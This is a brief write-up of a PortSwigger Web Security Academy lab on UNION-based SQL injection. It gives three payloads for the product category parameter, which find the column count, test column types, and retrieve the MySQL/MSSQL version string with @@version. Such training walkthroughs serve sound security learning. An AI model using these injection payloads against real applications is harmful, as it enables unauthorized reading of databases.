# Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
###### tags: `Portswigger Web Security Academy` `Web`
* Description: his lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.
* Goal: To solve the lab, display the database version string.
## Exp
1. Consider # of column
Payload: `?category=Accessories' union select NULL,NULL -- #`
2. Consider column type
Payload: `?category=Accessories' union select 'a','a' -- #`
Both of them contained text.
3. Attack
Payload: `?category=Accessories' union select 'abc',@@version -- #`
:::spoiler Success Screenshot

:::
## Reference